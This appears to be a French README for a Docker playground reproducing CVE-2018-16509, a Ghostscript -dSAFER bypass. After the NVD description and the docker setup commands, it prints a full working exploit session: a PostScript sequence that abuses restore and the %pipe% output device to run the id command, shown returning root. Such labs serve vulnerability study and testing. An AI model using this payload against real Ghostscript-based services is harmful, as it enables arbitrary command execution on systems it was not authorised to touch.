rhpco/cve-2018-16509CVE-2018-16509 Docker Playground - Exécution de commande Ghostscript
"Un problème a été découvert dans Artifex Ghostscript avant 9.24. Une vérification incorrecte de la « restauration de privilège » lors du traitement des exceptions /invalidaccess pourrait être utilisée par des attaquants capables de fournir du PostScript conçu pour exécuter du code à l'aide de l'instruction « pipe »." https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509
docker build -t cve-2018-16509:latest .
docker exec -it `docker run -d cve-2018-16509:latest` bash
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc. All rights reserved.
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]#